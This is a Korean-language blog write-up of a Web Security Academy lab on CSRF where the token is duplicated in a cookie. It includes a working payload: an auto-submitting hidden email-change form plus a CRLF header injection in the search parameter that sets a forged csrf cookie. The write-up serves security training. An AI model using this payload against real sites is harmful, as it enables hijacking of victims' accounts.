CSRF : LAB [6]

DATE : 2024/1/29

❗CSRF where token is duplicated in cookie

여느 때와 똑같이 Lab으로 들어가 로그인을 해준다.

로그인을 하고 나서 Packet을 확인해보면 csrf Cookie와 csrf token을 확인할 수 있는데

이상하게도 두 값이 동일한 상태이다.

메일 수정 요청을 보낼 때도 확인해보면 csrf token과 csrf cookie가 동일한 값임을 볼 수 있다.

그렇다면,, 서버는 아마 csrf token과 csrf cookie 값이 동일한지 확인하는 과정을 거치지 않을까 싶다.

어찌 됐든 두 값이 동일하다는 건, 공격자 입장에선 오히려 좋은 부분!

쿠키 값을 새로 만들기 위해서 우리는 이전에 풀었던 CSRF : LAB [4]와 같은 방식으로

검색 바를 이용하면 된다.

우선 메일을 수정하기 위한 요청을 만들기 위해 <form> tag를 작성한다.

<form method="post" action="https://LAB_ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="[e-mail]">
    <input type="hidden" name="csrf" value="fake">
</form>

원래라면 csrf token을 전달하는 위치인 <input name="csrf" value="___"> 빈 칸에

우리는 csrf cookie로 발행할 값과 동일한 값만 넣어주면 되기 때문에 마음대로 값을 적어주면 된다.

다음으로 <img> tag를 만들어줄 것!

<img src="" onerror="document.forms[0].submit()">

우리는 검색 바에 입력한 값이 그대로 LastSearchTerm cookie에 들어간다는 부분을 활용해

새로운 쿠키 csrf cookie를 만들고 이 값과 동일한 token을 form에서 전달함으로써

메일 수정 요청을 완성할 것이다.

src="https://LAB_ID.web-security-academy.net/?search=hanhxx;%0d%0aSet-Cookie: csrf=fake; SameSite-None"

csrf cookie에는 위에서 삽입한 csrf token과 동일한 값으로 적어주면 되고

response header 내에서 줄바꿈을 하기 위해 %0d%0a를 사용한다는 걸 유의하자.

스크립트를 모두 작성했으며 피해자에게 보내기 버튼을 눌러 결과를 확인할 수 있다.

이처럼 csrf token과 중복되는 값을 다른 포인트에서 사용하게 되면

그 값을 가져다가 token으로 사용하면 되기 때문에 토큰 값을 유추할 필요가 없어지는 뿐더러

응답 헤더에 임의의 내용을 삽입할 수 있는 구조라면 새로운 Cookie를 마음대로 생성할 수 있기 때문에

아마 LAB을 살펴본 내용보다 더 폭넓게 악용될 수 있을 것이다. 🙀